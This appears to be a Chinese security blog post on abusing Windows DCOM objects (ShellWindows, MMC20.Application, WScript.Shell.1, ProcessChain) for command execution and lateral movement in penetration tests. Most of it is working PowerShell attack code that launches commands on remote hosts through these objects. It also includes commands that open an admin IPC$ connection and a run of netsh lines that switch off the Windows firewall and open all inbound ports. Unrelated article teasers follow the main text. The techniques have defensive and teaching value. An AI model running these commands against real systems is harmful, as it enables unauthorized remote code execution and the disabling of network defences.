DCOM在渗透中的利用

VSole2021-09-18 07:05:34

0x01 DCOM简介

COM 是 Windows 的一个组件,可促进软件之间的互操作性,DCOM 使用远程过程调用 (RPC) 将其扩展到整个网络。

分布式组件对象模型(DCOM)远程协议是一种通过远程调用(RPC)公开应用程序对象的协议。

在windows注册表包含3个标识符中的DCOM配置数据:

CLSID:类标识符是全局唯一标识符。在windows在程序中为每个以及安装的类储存一个CLSID。当我们需要运行一个类的时候,只需要知道正确的CLSID即可。

PROGID:程序标识符,这个是程序员用来替代更为复杂的GLSID,同意理解。

APPID:应用程序标识符,为了简化通用安全和配置设置的管理,由同一可执行文件托管的分布式 COM 对象被分组到一个 AppID 中,属于同一可执行文件的所有类以及访问它所需的权限。如果 APPID 不正确,DCOM 将无法工作。

一个DCOM运行流程

•客户端请求远程计算机通过CLSID或者PROGID创建一个对象。如果通过了APPID,远程计算机将会使用PROGID查找CLSID。

•远程计算机检查APPID并且验证客户端是否具有创建对象权限。

•如果是exe则通过DCOMLaunch.exe如果是dll则通过DLLHOST.exe创建客户端计算机请求的类实例。

•如果沟通成功,则客户端可以访问远程计算机上类的所有函数。

0x02 DCOM利用

2.1 获得DCOM列表

在windows7,server08中默认是powershell2.0,在server12及以上默认为powershell3.0以上。

powershell3.0及以上

Get-CimInstance Win32_DCOMApplication

powershell2.0

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

我们也可以使用wmic查询

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list

2.2 ShellWindows

Get-CimInstance Win32_DCOMApplication | findstr "ShellWindows"

得到CLSID

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}

通过查看可以发现该组件没有明确启动权限对象

实例化对象

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()

通过排查Document.Application.ShellExecute,该方法可以利用

$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

2.3 MMC20.Application

在enigma0x3博客中研究了一个DCOM横向移动的技术具体可以查看链接。

获取MMC20.Application的GLSID

Get-CimInstance Win32_DCOMApplication | findstr "MMC"

我们可以实例化它,然后通过Get-Member方法来列出可以使用的方法。

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView | Get-Member

通过实例对象来查看ExecuteShellCommand具体参数说明

$com.Document.ActiveView.ExecuteShellCommand

具体可以查看ExecuteShellCommand。可以知道第一个参数为要执行的名字的值,第二个为指定工作目录名称的值,第三个为指定Command使用的参数,第四个为窗口状态的值。

我们知道了具体参数含义,来打开一个calc

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

我们也可以远程来进行交互

•建立ipc连接

net use \\192.168.1.101\ipc$ /user:administrator "test123.."

•远程创建调用方法

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.11.7")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

实现条件:

1.管理员权限的powershell

2.客户端关闭防火墙

3.服务端需要域管的administrator账户或者目标主机具有管理员权限的账户

4.双方主机都需有MMC Application Class这个DCOM组件。

psexec.exe xxx/xxx:xxx@192.168.1.101netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allownetsh advfirewall set currentprofile state offnetsh advfirewall set allprofiles state offnetsh advfirewall set currentprofile settings remotemanagement enable

2.4 WScript.Shell.1

我们通过OleView来查看COM接口的Type Library

可以看到IWshShell3接口存在的方法。

通过ProgID转换为CLSID

[Type]::GetTypeFromProgID('WScript.Shell.1').guid

得到CLSID

72c24dd5-d70a-438b-8a42-98424b88afb8

列出方法

$obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("72c24dd5-d70a-438b-8a42-98424b88afb8"))
$obj | Get-Member

利用代码

[activator]::CreateInstance([type]::GetTypeFromProgID(("WScript.Shell.1"))).Run("calc")
(New-Object -ComObject WScript.shell.1).Run("calc")
(New-Object -ComObject WScript.shell.1).Exec("calc")
[activator]::CreateInstance([type]::GetTypeFromProgID(("WScript.Shell.1"))).Exec("calc")

2.5 ProcessChain Class

列出方法

$obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$obj | Get-Member

执行:

$obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))$obj.CommandLine = "cmd /c calc"$obj.Start([ref]$true)

calc
本作品采用《CC 协议》,转载必须注明作者和本文链接
根据以色列商业媒体网站 Calcalist 的调查,以色列警方在未经授权的情况下,使用 NSO 集团备受争议的 Pegasus 间谍软件对包括政治家和活动人士在内的以色列公民进行电话侦听。监控以色列公民需要法院监督,这些监控是在缺少法院监督的情况下进行的,对于数据如何使用也缺乏监督,以色列警方和一位政府部长明确否认这一说法。
安全运维:cmd命令大全(108个)
收集内存马打入方式
2023-05-29 09:42:33
收集内存马打入方式
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
安全专家ProxyLife 和 Cyble 研究人员最近发现了一个Qakbot活动,该活动利用 Windows 7 Calculator 应用程序进行 DLL 侧载攻击。动态链接库 (DLL) 旁加载是一种利用 Microsoft Windows 应用程序处理 DLL 文件的方式的攻击方法。在此类攻击中,恶意软件会在 Windows 的 WinSxS 目录中放置一个伪造的恶意 DLL 文件,以便操
VT EPT原理解析和进阶VT开启EPT后,绕过pg检测,无视目前任何内核检测工具的检测如PCHander检测不到HOOK。本次案例实现欺骗系统达到无痕HOOK SSDT中的NtOpenprocess保护calc程序的内存,让OD,CE工具无法附加搜索。
java -jar weblogic.jar -jndistart -Jport 8888 -jndirmi -codeurl http://127.0.0.1/
美国拉斯维加斯-黑帽大会消息,跟上安全漏洞修补的步伐是具有挑战性的,由于缺乏上下文的CVSS分数、混乱的供应商建议和不完整的修复,确定优先关注哪些漏洞变得比以往任何时候都更加困难。
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
2014年为以色列警方设计的Pegasus间谍软件原型细节和截图显示了该系统的工具和深远的能力,该系统计划在日常警务工作中部署。
VSole
网络安全专家